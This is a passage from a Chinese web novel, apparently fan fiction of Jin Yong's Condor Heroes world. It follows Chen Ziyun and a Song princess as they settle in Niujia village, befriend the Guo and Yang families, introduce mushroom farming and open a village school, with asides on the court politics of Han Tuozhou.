“大胆,谁给你的胆子敢以公主为生死相斗为对象的。” 宋宁宗气愤的拍了一下桌子。 “管家勿恼,我只是比喻,好让陛下能有所认识。” 红色人影还是那么平静,似乎宋宁宗的态度并不能挑动他的情绪。 “那……驸马爷如何?” 宋宁宗在问这个问题的时候,下意识的压低了自己的声音。 又是沉默,更长时间的沉默。 “红衣!” 宋宁宗已经有些暴躁了。 原来这个红色人影,真的就叫红衣。 “深不可测。” 红衣此时的声音倒是清晰了不少,可语气里却是深深的忌惮。 “你在害怕?你也会怕?” 宋宁宗似乎发现了什么不可思议的东西。 “不是怕,是期待,或者兴奋,我也不清楚。” 红衣摇摇头。 “当一个人长久的待在看不见的黑暗中,一开始会害怕被别人发现,尤其是敌人,那会送命。 可一旦在黑暗中待的太久,久到没有人再能看到你,你就又会期待被什么人发现,哪怕一次。 自从驸马爷第一次进宫开始,我就知道他能看见我,就算我们从来都没有对视过一眼,但是我就是知道。” 红衣有些激动的说道。 “红衣,记住你的使命。保护我皇室,而不是为了你自己的那点小心思,就肆意的窥视朕的公主与驸马。” 宋宁宗神色严厉的喝道。 他可以关心自己的女儿跟女婿,但是绝对不允许自己的属下瞒着自己胡来。 红衣听完点点头,在确定宋宁宗已经无话问他的时候,又引入了那同样红漆遍布的宫廷之中。 在黑夜里行走,你要保持隐秘自然是要黑色的夜行衣,可在这个朱红满布的宫廷之内,自然是要穿一身同样的红,才能隐藏自己。 宋宁宗见红衣已经隐入暗地,小心的从自己的衣袖里拿出了一张纸条。 上面赫然写着的是“子虚”二字,然后旁边涂涂改改,似乎打过一个叉,后面又画了一个圆。 “哎。” 宋宁宗在犹豫了几次之后,终于还是把纸条又收回了袖子。 又看了看桌子上依旧摊开着的那副临安皇庄分布图,在赵茵萝选定的皇庄上仔细看了看。 附近的村子也好,最近的禁军军营也罢,都是一指头一指头的点着看过去的。 一个个普普通通的名字,让本来就没怎么去过临安城外视察的宋宁宗自然看不出什么花样来。 “何家村,牛家村,靠的最近的就是这两个了……” …… 正是开春的时节,牛家村家家户户都在田地里忙活着,而此时一队队的马车拉着些这里人从来没见过的行当进了他们村子。 除了几个正在关键工序上劳作无暇他顾的人,几乎所有人的见到这队马车的人都开始驻足旁观了。 这样的场面,就是那几乎偶尔有机会进临安城里的人家也没见识过。 “这是来的哪位大老爷了?” “大老爷来我们这穷村子干啥?” “肯定是大人物,你没看村长都在前头给马队领路的吗。” “切,怎么看不见,我又不瞎,你看他那小人的摸样,头都快低到人家的屁股底下去了。” 这些人都在讨论着,也有人在暗暗听着别人的讨论,至于这位在背后说村长坏话的,会不会被正想拍村长马屁的人出卖,那就不知道喽。 这些马车队自然就是陈子云跟赵茵萝的家当,其实并不是很多东西。 只是赵茵萝就算再不在意自己的公主身份,可长久以来养成的生活习惯已经是那般了,不可能因为陪着陈子云搬到这里来,就委屈自己不是。 所以大大小小的衣服,生活上必不可少的装饰,一些盘碗碟子,加上几个已经尽量减少了的仆人的零零碎碎。 所有这些加在一起,没几辆马车是真的装不下的。 房子是现成的,本来是让管理附近的皇庄的人住着的。结果那位奉旨清理皇庄里的腌臜东西的时候,顺道把这位平时习惯了损公肥私的管理者也给一起清理了。 第二百一十三章 郭家人 至于那位内侍曾经有没有收过这位倒霉蛋的好处,估计也不会有人知道了。 宅子倒是不小,可里面也就是村级豪宅的配置,这些东西在赵茵萝看来显然是寒酸的。 可既然说好陪着陈子云一起来了,自然不会在这个时候用公主府的眼光来挑剔这里,只当是来体验百姓的生活了。 行李搬进了新家,安置打扫这些自然不用他们两位主人家动手。陈子云带着赵茵萝,穿着他们最朴素的衣服去挨家挨户的给牛家村的人送见面礼了。 当然那位村长的礼物早就抬到他家里去了,这次送礼也需要他来指点一番。 作为新人,要融入一个新的群体,最快捷的方法就是有个当地有威望的个体作为介绍人。 按照村长的指点,这时候大多数的村民也准备结束劳作归家了,就算那些贪时辰想多干点的,也会在他们拜访完那些先回家之后回去。 毕竟在这个时代可没有加夜班的说法。 有这么一位老马在,陈子云他们自然不怕礼数不周到,或者白跑一趟。 先见的自然是意料之中的,牛家村的宿老,或者说是跟村长关系比较近的宿老。 当然为了表示对这些老人家的尊敬,村长也建议备礼备的丰厚些。 陈子云自然是点头的,可赵茵萝明显是看出了什么猫腻,或者说是本能的不想被这样的人物牵着鼻子走。 “那就各家给十两黄金吧。” 当时赵茵萝一脸无所谓的说出这句话,村长直接就给跪下了。 虽然陈子云他们一直没有透露真实身份,但能有这么些家当的人物自然不是简单的。 而当村长看他们客气的给自己送上大礼,又老老实实的听自己安排,就动了一些小心思,想给自己的亲友要点好处。 可赵茵萝这一句却是把他吓个半死,别说黄金,像他们这样的村子,一年到头也见不到一块整的银子。 钱财自然是爱的,可能压死人的钱财就会让人害怕。 村长毕竟是这么大年纪的人了,已经不是那种见到钱,就不管不顾扑上去的小年轻。 他更知道,钱这东西,要有命花才是自己的。 “两位大人,没这样,没这样送礼的。不能见银钱的,送些糕点,布匹,能给几位宿老做一件新衣就已经是了不得的大礼了。” “既然如此,那就依村长的。” 赵茵萝见对方还算识趣,就放过继续捉弄他了。 陈子云则只是在一边笑笑。 拜访了几位老人之后,陈子云他们一路走了几家在家经营的小店铺,有铁匠铺,小酒店,屠户肉摊之类的。 这些人基本算是以经营为主了,粮食自然也是要种的,但没有别人种的那么多。 在那个小酒店,陈子云看到的是一个老人家在经营,并不是黄药师的那个断腿徒弟。 不过想来也是,此时华山论剑刚结束,黄药师还没从周伯通手上骗到九阴真经呢。 自然就没什么给黑风双煞可偷的,黄药师自然也就没理由废了自己徒弟。 郭杨两家倒是已经在了,陈子云两人去的时候,他们已经在做饭了。他们两人手上会几招把式,自然也不会去种田。 现在的山林之间可不差肉食,只要有本事,足够养活一个猎户之家。 “村长。” 李萍是最懂得人情世故,一见牛家村的村长来他们家,连忙放下手里的活计迎了出来,还小心的在衣角擦了擦手。 “村长,您怎么来了,刚好,今天运气好,逮住个带羽毛的,刚炖了汤,您喝一口。” 郭啸天也是热情的很。 作为外来户,能在牛家村安家自然不可能不和这里的村长打交道。 而且他们夫妻向来都是信奉,欲要他人敬一尺,我必先敬人一丈的态度。 所以相比于在村中人缘寡淡的杨铁心一家,他们绝对是牛家村里的好人缘榜样。 村长早在门口就闻到了这屋里飘出去的香气,如今看到这滚滚浓香不由得就咽了一口唾沫。 要是放在平时,他不仅会喝上一口汤,说不定还要嚼上一口肉呢。虽然说作为牛家村的村长,但肉食终究是难得的。 可如今有两贵人正在外面等着,自己如何能这般。 “啸天啊,你们夫妻的心意我领会了。不过今天却不是冲着你们家的肉香味来的。” 村长说着指指门外。 “有两位新在我们村落户的,正带着礼物在外面呢。” “啊。” 郭啸天跟李萍相视一眼,都是有些奇怪,这个小村子难得来个外地人,何况还是村长亲自带着来引荐,实在是摸不懂里面的奥妙。 “有客人来,怎么在外面呢,当家的你赶紧去请进来呀。” 李萍给郭啸天递过去一个眼神。 “是啊,村长,咱们这小家小户的,上门都是直接进门就是,哪里来的这些规矩。” 郭啸天撩开挡风的布帘子,就来到院子里。 只见已经见晚霞的天空下,两个彷佛与这片院子一起融合在霞光里的年轻夫妇,正携手站立着。 这样的场面让郭啸天当即一愣,怎么会有这么出色人物上他家来。 “嘤嘤嘤。” 一声郭啸天熟悉的野狐狸叫让他从震惊中回过神来。 “小心。” 这是作为一个猎人下意识的提醒。 “小心,小心什么?” 赵茵萝有些不解的看向这个看着老实,却不知为何一直盯着他们看的青年男子。 而郭啸天此时也看清楚了,刚才的叫声哪里是什么野狐狸,而是两只不曾见过的白狐,正在这两个非凡的年轻夫妇怀里撒娇呢。 作为一个合格的猎人,自然清楚这样的狐狸不是临安附近的山林能有的。 竟然把狐狸当宠物养,郭啸天更加确认这两人是不同寻常的人物。 “是在下鲁莽了。” 郭啸天微微欠身道。 “啸天,这是怎么了,怎么还不请客人进屋里。” 李萍见郭啸天迟迟不进去,却是一起迎了出来,后面还跟着村长。 “诶,怎么来了两只狐狸?” 村长也是有些惊讶,刚才他们来的时候,陈子云跟赵茵萝身上可没这两个小家伙。 第二百一十四章 杨家人 “哈哈,几位见笑了。这是我与拙荆养着的小东西,可能是这个点饿了,就从家里跑出来找我们了。 刚好,听村长说,郭兄善于狩猎,下次若是见到这两个小东西,还请一定高抬贵手。” 陈子云朝着郭啸天抬抬手。 “这位……” 郭啸天抬手问道。 “小姓陈,贱名子云,这位是拙荆。“ 陈子云道。 “陈兄,嫂夫人。” 郭啸天与李萍同时行了个礼。 陈子云与赵茵萝还礼。 “好了好了,你们两家以后都是邻居了,少不得见面,要是再这么礼来礼去,可熟路不起来。” 村长也是逐渐习惯了陈子云夫妇的随和,才敢这般说话。 “村长说的对,两位要是不嫌弃屋内简陋,还请进来说话。” 李萍说着就朝着赵茵萝迎上去了。 “吱吱。” 在赵茵萝怀里的小白却是龇牙朝着李萍叫唤了两声。 “小白别闹。” 赵茵萝一把就将小白恩进了自己怀里。 “这小东西还知道护着主人,是个能养的。” 李萍不但没有被小狐狸吓到,反而安慰起赵茵萝来。 “姐姐,你真好。” 赵茵萝看人的水平自然不差,从李萍的言行举止中就感受到这位是符合当今贤妻良母标准的典范人物。 “哎呦,妹子你才是惹人呢,我就是个农家婆子。要是不嫌弃,你就叫声李姐姐,我还真当埋怨过自己爹娘,怎么不给是生个妹妹,好似你这般伶俐的。“ 李萍两三句话不仅把赵茵萝迎进了屋,还把温暖送到了心里。 陈子云跟郭啸天看着这两位一见如姐妹的夫人,相视一笑。 “陈兄,你这般的人物上门已经是给足了面子,何必还带这些东西来。不收的,收了,怕是要被乡亲们笑话的。” 郭啸天自然见到了后面家丁提着的几个纸包。 “怎么,还有东西吗,我怎么没看到,妹妹这是在跟姐姐见外呢。” 李萍已经安排赵茵萝落座,此时听进屋来的郭啸天如此说,自然也是装作生气的摸样。 “哈哈,嫂子勿恼。平时自然不会这般的,只是想到这个点了,要是不带点东西就上门蹭饭,实在是怕夹菜的时候手软。” 陈子云一本正经的说道。 众人先是楞了一下,随即赵茵萝先是噗嗤一声笑了出来。 “哈哈,陈兄果然非常人。如此今天正好了。” 郭啸天大笑一声,随即朝着李萍道。 “夫人,既然如此,那你再把杨兄弟夫妇也一起叫来,再切些腊肉,打两斤酒。好在今天村长也在了,炖飞龙也快好了。” “诶,我这就去。” 李萍说着就一头进去了内屋,显然不是去找腊肉,就是去找钱打酒了。 “郭家的,不忙,本来老头子我蹭口汤自然是不会跟你们客气的,不过既然要喝酒了,那我这个老东西也是要点面皮的。 腊肉还是你们家里出,这酒就让我去,想来比你们去打,还能让那老抠搜多给半两,也是好的么。” 村长今天也像是被这两对夫妻给感染了,竟然主动要求去打酒。 “诶,这怎么可以。” 郭啸天还要客气,村长却是已经撩起布帘子出去了。 “嘿,今天倒是牛家村的大事了,不但来陈兄跟嫂夫人这般天仙人物,连村长竟然还……嘿。” 郭啸天也一时找不到什么好的形容了。 “啸天,腊肉不多了,我让杨兄弟那边带点来?” 李萍从里屋出来,手里只有一个连带着挂绳都不过三两的腊肉。 显然这是把吊在梁上的老本都割下来了。 郭啸天先是不着痕迹的皱了一下眉头,随后便舒展开了。 “也好,反正开春了,山林里的山货也多起来了,等我打个大东西,再腊就是了。” 陈子云对于他们的家务事自然不会插嘴,让仆人把带来的礼物都放下,就打发他先回去了。 “让陈兄破费了。” 郭啸天此时也不好在婉拒了,反正看那包纸应该也不是什么太值钱的东西,这让他放心不少。 向他们这种重情义的人,最怕就是欠人家的人情,收了人家一份礼,不还回去两份,就觉得永远欠别人的。 “妹子小心了,屋里有个跟你一般喜欢小东西的妹妹,你们两个一定能处的来。” 李萍的声音一出现在门外,就进来一个颇有些姿色的女子,柔柔弱弱的摸样,一眼就能肯定确实是江南女子的风韵。 那双带着星光的眼睛怯生生的在屋子里打量了一圈,在看到郭啸天的时候,只是微微欠身示意了一下,当看到背对着他的陈子云的时候,有些惊讶的往后缩了半步。 而当看到赵茵萝以及探头探脑的小白的时候,那双本来就明亮的眼眸像是突然闪了一下光。 包惜弱状着胆子来到赵茵萝的旁边,柔柔弱弱的问了一声。 “妹妹,我能摸摸它吗?” 跟着包惜弱进来的是一个魁梧的汉子,想来这人就是杨铁心了。跟郭啸天夫妇相比,从外貌上看确实出色的很,也难怪会后杨康那般的儿子,以及杨过那样的孙子。 “杨兄弟,弟妹,我来给你们介绍。这位是陈子云,陈兄,这位是嫂夫人。是新搬来牛家村,跟我们一般,都是外来户,以后大家多多相互关照了。” 郭啸天介绍着。 “杨兄,嫂夫人。” 陈子云先敬人一礼,赵茵萝也是起身浅浅的行了一礼。 此时她正与包惜弱讲解这小白狐的可爱之处呢。 “见过陈兄,这下内子倒是有志同道合的伙伴了。” 杨铁心见自己的宝贝夫人如此开心,也对陈子云夫妇好感非常。 包惜弱将从自己家里带来的花生剥出来喂给小白,小白先是嗅了嗅,又抬头看看赵茵萝,似乎在询问她能不能吃。 赵茵萝笑着点点头道。 “记住这个姐姐的味道,以后她给的东西都可以吃的。” 包惜弱那种与赵茵萝以前类似的气质自然轻易就得到了,赵茵萝的认可以及些许的同情。 这种同情却无法说出口,因为那是一种对于活在水底的鱼儿无法体会岸上生活的怜悯。 可要是真的把这种美好的岸上生活描述给对方,那只会让她痛苦,或者拼命一跃到了岸上,结果却活活渴死。 第二百一十五章 聚会 “杨叔叔,腊肉我来切吧。” 李萍将杨铁心提着的一大块腊肉给接了过去。 “郭大哥你也是的,家里就剩这点肉了也不言语。平时我们夫妻难道吃你们的少了,这一吊腊肉起码一半是进了我的胃囊的。” 杨铁心这时也想起自己在路上的念头,埋怨着郭啸天的不把自己当兄弟表现。 “哈哈,杨兄弟,你别急,你这性子啊。这哪里是腊肉的事情,我们打猎的人家难道还会差这些。 只是陈兄弟夫妇突然喜临,家里准备少了而已。要是家里真没了油水,我如何会与你客气。” 郭啸天回道。 “这才是兄弟该讲的话。” 杨铁心听郭啸天这么说,心里也舒服了不少。 “啧啧。” 一声轻轻的狐狸咂嘴的声音。 众人纷纷看向陈子云肩头的小白狐。 小黄见这么多人看过来,本来还呆呆看着小白吃美味花生的垂涎的脸,立刻就摆正了。 那意思彷佛是在说,我不馋,我不想吃花生。 “想吃就自己过去讨去。” 陈子云伸手指头逗了逗小黄的下巴。 这小东西就骄傲的挺起了胸膛,小眼睛看着天花板也不去看小白,一副坚决的摸样。 “哈哈哈……呵呵呵……” 众人的笑声夹杂着。 “陈兄弟,你这小东西可通灵了。” 小黄如此人性的表现,就算是杨铁心这种见惯了野物的猎人也是瞠目了。 “可不是,我与杨兄弟也算是见遍了这天南地北的野物,这样灵巧的确实闻所未闻。” 郭啸天道。 “这两个小东西,确实机灵。” 陈子云道。 “茵萝妹子,他们是一公一母的吗?” 包惜弱轻声问道。 “是的,小白是母的,小黄是公的。” 赵茵萝道。 “那等他们生小狐狸了,能不能给我一只。我……我拿小鸡仔跟你换,两只、三只也行。” 包惜弱似乎有些不舍的说道。 “啊?” 赵茵萝感觉耳根有些发热,不知道是不是包惜弱靠的她太近了说话,将热气吹到了耳根上。 “可它们是兄妹啊,怎么能!” 赵茵萝惊讶道。 “不讲的,不讲这些的。我养的小兔子,小鸡他们都是这样的。” 包惜弱也是说得很委婉。 赵茵萝有些不确定的看向陈子云,她一个公主自然不会去关注这些,想当然就是以人的伦理纲常代入了动物社会中。 “嫂夫人,野物确实是不讲这些的。要是您觉得亏了,我到时候打个大些的野货跟你换吧。“ 杨铁心见自己宝贝如此痴迷这小狐狸,自然是殷切的跟赵茵萝解释着。 陈子云朝着赵茵萝点点头说道。 “杨嫂子,现在这两个小家伙还小,等他们长开些,要是真有幼崽了,只要超过两只,我们可以送你的。想来以嫂子的心性,也不至于委屈了小家伙。” “真的吗,谢谢陈叔叔,还有茵萝妹妹。” 包惜弱简直高兴坏了,还起身特意的行了个礼。 “哎呦,我刚出门一会儿就这么热闹了。好在我多要了老抠搜半斤酒,要不然怕是不够喝呢。” 却是出去买酒的村长拎着两个酒葫芦回来了。 “村长,赶紧落座吧。菜都好了,就等你老人家来开席了。” 李萍连忙接过村长手中的酒,将他堆到主位上,请他入座。虽然陈子云夫妻看着也是高门大户里的,可对于他们这种小家庭来讲县官不终究如现管。 “诶,郭家的,哪有让客人做主座的道理,这不是乱套了吗。啸天你坐着,可别起来。” 村长连连摇头,婉拒着,不过他的眼神还是下意识的朝陈子云他们那边瞥了一眼。 “村长,您何必客气。要是我们自个兄弟吃酒,那我这个座位自然是不相让的,可您怎么也是长辈。 哪里有晚辈做主座,长辈做下座的道理。” 郭啸天配合着自己的李萍,一把就把村长按在了主座上。 “诶,你们夫妻啊……” 村长在确定两位贵人都没有什么意见之后又说道。 “那我这个老头子今天就倚老卖老一把。” 随着村长的落座,今天饭局的人也就齐了,切好的腊肉,几碟农家自己的小菜,加上一只难得的飞龙炖汤。 这一桌子菜也可以说是不差的席面了,至少在这个时代,能在一个普通的小村里吃到,是难得的。 “嘤嘤嘤。” 最激动的就是小白了,看到这么一大只飞龙上桌,差点就直接唤醒了血脉中的本能。 就是连一项自制力不差的小黄,也是不停的在吞咽着口水,就算是倔强的将头埋到了陈子云的衣领里,可那耸动的鼻子,还是一下一下的触动着陈子云的脖颈。 “那,给两个小东西的,一人一个。” 李萍率先将两只上桌前就留下来的飞龙爪子分别递给了陈子云跟赵茵萝。 众人见此也是乐的笑笑,不会觉得李萍在浪费,反而是只能夸她为人周到,连这两个小东西也记得。 因为本来这些野物的爪子,因为长期的运动,就没什么肉可言,只是一层老皮包骨头,牙口好也没味道,还不如给这两个小家伙磨牙。 “叽叽叽。” 两个小东西激动的连叫声都变了。 …… “子云师傅,你好像对这郭杨两家的态度有些奇怪?” 赵茵萝在吃完晚饭回去的路上这样问道,同时手里还逗弄着抱着爪子骨头啃的小白。 “哦,你看出来了。” 陈子云也没有否认。 “是因为他们练过一些武艺吗,可连内息都不曾练出来的把式,需要你这般关心吗?” 赵茵萝用手指梳理着小白的毛发问道。 “自然不是因为这个。” 陈子云道。 “其实这两家人倒不是关键,后面的事情如今也不好说。要是说他们的祖上,倒是还算得上有些来头。” “祖上?郭?杨?” 赵茵萝思索着,可这两个姓氏也不是冷僻的小姓,这要凭空想象,实在太多的选择。 “一个是梁山时期,地佑星赛仁贵郭盛的郭,另一个是岳家军旗下杨再兴的杨。” 陈子云道。 赵茵萝僵立了一瞬,毕竟这两个人物,可都算是他们赵家的债主。 第二百一十七章 陈大善人 “别想那些,我找他们可不是为了他们的祖宗辈的陈年旧事。” 陈子云道。 “那是为何?” “现在还说不好,等两年吧,想来不管有什么影响,这种事情,终究还是会来的。” 陈子云说的有些云山雾罩的。 “什么事情啊,子云师傅,你倒是说清楚啊。” 赵茵萝拽着陈子云的衣袖撒娇道。 陈子云咧着嘴,朝着当空的明月,喃喃道。 “是生娃娃的事情啊。” …… 自从陈子云夫妇搬到了牛家村,牛家村好像就是被许久不曾光顾的天神老爷给再次记起来了。 不仅突然有城里的官署来村子附近修建沟渠,说是为了方便附近村镇的灌溉,而牛家村刚好在这条线路的要道上。 不仅能搭上这趟福利便车,还能接受这些官人的雇佣,让忙完农活的村民有了一笔额外收入。 而刚修好沟渠,又有人来说要修一条大路,直通临安城门口的那种官道,为了方便贵人把当地新鲜的蔬菜能及时的运送进城。 而牛家村刚好又在这条规划好的新官道的路旁,这下就是最没见识的村妇也知道,牛家村的好日子要来了。 尤其是当已经成为十里八乡最善的陈大善人夫妇,拿出一种叫做蘑菇栽培的其妙种菜法子。 所有牛家村的农人都像看神农一般的看着两人操作,不到一个月的时间,那一茬茬的看着就美味的蘑菇就从土里冒出来了。 而一个个临安城的大人物,赶着车将这些一看就只有贵人才能吃的好东西拉走之后,留下的是满地的铜钱。 那是牛家村建村以来,全村人受到过的最大的一次金钱诱惑,就这么赤裸裸的摆在你面前。 按照村子里当时最无赖的二流子讲,要是当时不是看在陈大善人的份上,就是被打断一条腿,他也要抓一把铜钱再跑。 “你要是敢在陈大善人面前动粗,老头子我的拐杖就往你头上招呼。做人可以没出息,但是不能丧良心。 要不是陈大善人在冬天施粥,你小子哪里还有命在。” 村长当时就往二流子身上来了两拐杖。 直到那二流子抱头鼠窜,村长才得意收回了手里的杀威棒。 村长也是感慨,他还清楚记得,一年前还是自己亲自给这两位领的路。当时也就觉得这对夫妇不同寻常,却是万万没想到自己是给牛家村请来了福神了。 他当了几十年的牛家村村长了,恐怕半辈子为村子做的事,都没有这件事来的要紧。 有了这次刻意安排的前车之鉴,陈子云要推广这蘑菇种植技术自然是不难的。 他这也是偶尔在跟着郭杨两人进山林是时候,发现了这种可以食用的蘑菇,经过将近大半年的培养,终于是有了些许优化,起码可以做到人工繁殖了。 这种蘑菇的生长周期在温暖的时候也就是在20多天,属于可以快速种植的。而且这种蘑菇的种植土也简单,一些食物残渣加上家畜的粪便就行。 当然这样的种植蔬菜,不可能成为村民的主业,也就是在农忙的间隙可以让牛家村的村民多一份相对稳定的收入。 至于收购的问题,不说有韩家的酒楼,就算是没有,这种味道鲜美的蘑菇也不是愁销路的。 只要让韩侂胄,在出席宴会的时候,有意无意的提一句,什么翡翠玉壌金翠菇的名头就会直接火爆整个临安城。 正所谓上有所好,下必甚焉。 到时候就怕是临安城里所有上档次的酒楼,都是络绎不绝的朝着牛家村而来。 不过既然说到了韩侂胄,陈子云隐隐觉得对方这段时间似乎在谋算什么事情,不过可能是因为自己对于朝堂的态度,让对方没有明确的说什么。 只是好几次在韩府的书房谈话到时候,有意无意间,韩侂胄还是会问及陈子云关于岳飞以及秦桧的看法。 陈子云当时没怎么在意,只是随口说了一句,那不过是君君臣臣的把戏,这样的事情,哪个朝代不来个几回的。 主战主和,左倾右倾,谁都有自己的理由,而当其中两派的矛盾到了不可调和的时候,那必然是以一派彻底垮台为结束。 当时韩侂胄只是默默点头,随后又叹了一句,是矣,是矣。 可随着通过街头巷尾传来的种种消息,民间开始公开的讨论关于岳家军,关于秦桧。 而舆论导向明显是一边倒向岳飞的时候,陈子云就知道韩侂胄在做些什么了。 这是要彻底给岳飞翻案,然后把秦桧钉上永久的耻辱柱啊。 也许这在普通小民看来是英雄得以伸冤,小人得到惩罚的快意事情。可实际上这也不过是韩侂胄跟宋宁宗为了打击主和派选出来的一种收拢民心的手段罢了。 而他们后面安排的事情,就不一定是南宋的好事了,打压主和派的唯一目的,自然是准备要兴兵了。 而一打仗,不管是胜是败,对于普通百姓而言,绝对就是一场可以灭顶的灾难。 而陈子云记忆中的,那场韩侂胄可以说是因此而死的“开禧北伐”,更是仓皇之间开场,又如闹剧一般收场。 而作为发起人,又是当朝宰相的韩侂胄,自然是要为这一场大败负责的。虽然他最后是死在史弥远手中,可这里要是没有宋宁宗的首肯,就算再给史弥远十个胆子,他真敢杀当朝宰相吗? 就如当时的秦桧,要是没有宋高宗的示意,他敢对手握兵权的岳飞下手? 当然,宋宁宗可能也是因为面临国内的压力,必须推一个人出来,可这就是所谓的朝堂,这就是所谓的君臣啊。 这也是让陈子云如此反感接触朝廷的一个重要原因。 不过此时说这些还早,一场战争的准备不会如此简单,南宋每个几年的节衣缩食,宋宁宗也不敢肆意开启战端。 况且韩侂胄虽然有些激进,但绝对不是那种没脑子的,只会纸上谈兵的人物。至于历史上为何会一股脑的说是他未作充分准备,便贸然发动北伐。 最大的可能也就是为了找个失败的理由吧,对于已经成为定局的事情,要找理由总是简单的。 第二百一十七章 私塾 而那些真正在当时负责做事的人,却只能一步步摸着石头去测量金国到底有多少的军力。 自己南宋的那些军备报上来的,又可以相信几成。 要说韩侂胄鲁莽行事,陈子云倒是更愿意相信,是那些南宋将领将自己的实际战力虚报而导致了上层的决策错误。 毕竟以南宋对于武官的压制,那些人实在是不敢再在文官面前再贬低自己了,以免将在战场上建立军功这样唯一的希望抹杀。 你要知道,一场战争的策划,是不可能靠一个两个人就能完成了。这里面不知道有多少人参与其中,就算是宋宁宗恐怕也是寝食难安的盘算了一遍又一遍。 作为一个智商在线的皇帝,难道他真的不知道,一场战争的胜败对于南宋的意义。 何况如今朝堂上支持韩侂胄的人里,也绝对不是只想着拍他马屁的人。 别的一些普通的朝臣可能不会被大家知道,可连辛弃疾、陆游这般的天下名仕也站在他这一边,难道真的就是韩侂胄一个人的错。 一个意气奋发,正当壮年的皇帝,一群枕戈待旦,对南宋屈辱地位不满的朝臣。 而韩侂胄只是走霉运刚好顶在了这个关联上下的宰相位置上,所以皇帝不能错,群臣没有资格抗责任,那这个战败的锅他不背,谁来背。 …… “陈先生。” “陈先生。” “陈……” 陈子云一边嗯着,一边点头,算是回应这些出发干农活,顺便将自己孩子送到私塾里来的村民。 陈子云之所以能得到陈大善人这个名头,最重要的一个善举,就是在自己家院子旁边搭了一个简单的私塾。 不是为了省钱,就算是建个书院,也抵不上公主府一个月的花费。而是怕真的建的太好,那些习惯了泥土茅草胚房子的村民,不敢把自己小孩送来。 而且陈子云费心的为了不让村民们心里起疙瘩,他还提出私塾可以管学生一顿饭,才把村子里大多数的小孩给招来了。 要知道,在村里子基本上能自己个走路的小孩,就都要开始帮着家里干活的。农村里可养不了闲人,就算是干不了农活,帮忙捡柴禾,打水,生火做饭这些也是从小就要学的。 所以一般的农村人家,之所以不会让小孩子上学,出不起束修是一方面,不愿意失去一个劳力则是另一方面。 而陈子云这一顿中午饭,就相当于不但给孩子上学,也可以说是直接帮他们养小孩了。 这个时代,可没有一日三餐的说法,两餐已经是富贵人家了,基本都是一日一餐。 过午不食不是什么减肥技巧,是因为吃不起啊。 早上起来,条件好的吃点昨天的剩饭,条件差的喝一肚子水就出去干活了。 中午可以好好吃一顿,而等太阳落山就上床去了,自然不会再浪费粮食。至于说晚上饿了怎么办,睡觉啊,睡着了就不饿了。 温饱这个词汇,是这个时代大多数人可望不可及的。 所以可想而知,当陈子云提出这个条件的时候,那些父母是多么的不可置信。要不是有村长在一旁保证,他们甚至怀疑陈子云是拍花子雇来的前脚,就等着自己小孩送上门呢。 直到陈子云的私塾开了大半年之后,终于让村子里所有人都开始客客气气的叫他一声陈先生了。 那是看着自己的孩子,跟半年前足足长大了一圈的前提下的。 陈子云这里的饭食,自然不会太差,虽然不是顿顿大鱼大肉,可吃饱是没问题的。 要不是怕这些孩子不能控制,一下子吃太多撑着,这点米粮钱,他是不在乎的。 “他们没吃过米饭吗?” 赵茵萝第一次见一群脏不拉几的小孩在自己面前狼吞虎咽,有些困惑。 “茵萝,江湖上的事情先放放吧。让子虚收集一些各地的大众民情上来,你以后要多看看。” 陈子云道。 赵茵萝那时候只是若有所思的点点头。 经过这大半年的喂养,一些本来骨瘦如柴的小子,如今却是跟甘蔗一样节节往上窜。 其中有个长的最夸张地,本来不过到自己父亲的肩头,现在却是已经比自己父亲还高出一个头发尖了。 这就让他在那帮同学之中得了个名号——“牛大个”,其实也是谐音牛大哥,他本来就是这批孩子里年纪最大的。 据他父母马虎的数来应该是十三四岁的年纪了,以前是一直没吃好,所以看上去还像个十来岁的孩子。 如今这位牛大哥,也被陈子云认命为了班长。 不是他长得高大,而是陈子云发现这孩子真有些当大哥的天赋。 可能也是年纪大些,他在同村的孩子中间也有些威望,而且也不乏同情心,也会照顾人。 就算后面有别的邻村的小孩子加进来,他也有自己的办法处理偶同学间尔出现的冲突。 “全体……起立。” 随着牛大哥班长的一声声势不小的口号,所有大大小小,本村外村的小学生们都齐刷刷的起来了。 就算是其中一些个穿着男孩子衣服来蹭饭的女生也不含糊。 “先生……晨安……” 大大小小几十张小嘴里吐出的问安,每次都让陈子云笑容满面。 “安……” 在这个时代,终究不能让一个当先生的给学生问安,陈子云点点头示意众人坐下。 “班长,汇报一下昨天作业的完成情况。” “是,陈先生,昨天实到人数……作业上交人数……” 陈子云静静的聆听着牛大个的汇报,其实所谓的作业也就是最简单的抄写而已。 这种课业自然不用陈子云这个老师去批改,只要让牛大个确认每个学生都认真完成就好了。 而且,陈子云也没法指望这些抓笔不过半年的学生,能写出多端正的字。 陈子云教学的方式也与一般的私塾不同,不是教那些三字经或者千字文。这些东西对于那些要读书读到大的学生,确实是好的开蒙读物。 但是对于这些,不知道什么时候就要辍学的学生,陈子云认为教他们一些简单的社会逻辑,算数这些实用的才是对他们帮助最大的。 第二百一十八章 曲三 像三字经里,其实是涉及很多历史典故的,要了解这些东西就必须先有一定的历史常识。 这对于这些刚从泥地里出来的农村娃子,那些典故有些遥远也不切和实际。所以陈子云索性就是从历史书中翻出了一些切实的处理时事的例子,比如智子疑邻的原因,二桃如何杀三士的操作方式。 陈子云先是将典故加工一番成为一个妙趣横生的故事,讲完道理之后,又从其中挑选出一些常用的文字,再逐个的教。 这样让这些孩子的记忆也能跟脑海中的故事情节联系在一起,有利于他们记忆。 除了简单的识字明理,作为最实用的基础算数自然好似要教的。不过在这个时代,也不用教什么乘法口诀,只要将基础的加减学会,再加上珠算,就能稳稳的当一个掌柜活计了。 这也是那些父母在见到自己家小孩,竟然学到了这种求都求不来的本事,才纷纷把孩子送来的原因。 还有一些从邻村嫁过来的妇人,更是把自己家里的兄弟都说服了,也把孩子送过来。 按照他们的理解,这就是能传家甚至兴家的手艺了。 “好了,今天就到这里,你们吃完午食,将今天教的生字抄写三遍再回家。” 陈子云其实也就上了两节课。 毕竟这里可不是以后那种专业化的学校,学生吃饱了就等着上课,这里的学生大多还是在等上完课之后的那顿午餐的。 而且他们也因为这顿午餐,基本一早上都是没吃东西的,就是想一顿吃个饱。 虽然有几个已近从学到的一些道理中明白了,他们这么做其实是不对的。可肚子里的饥饿以及父母的教导,让他们宁可怀着对自己先生无限的敬爱与愧疚,也要先吃饱再说。 “全体……起立……” “先生……午安……” 陈子云点点头出了私塾,见抬着饭食来的仆人已经在门外等着了,对他们示意,让他们直接进来。 这里可没有设立食堂的地方,都是陈子云让家里的仆人准备好饭食抬过来的,学生就在课桌上用饭。 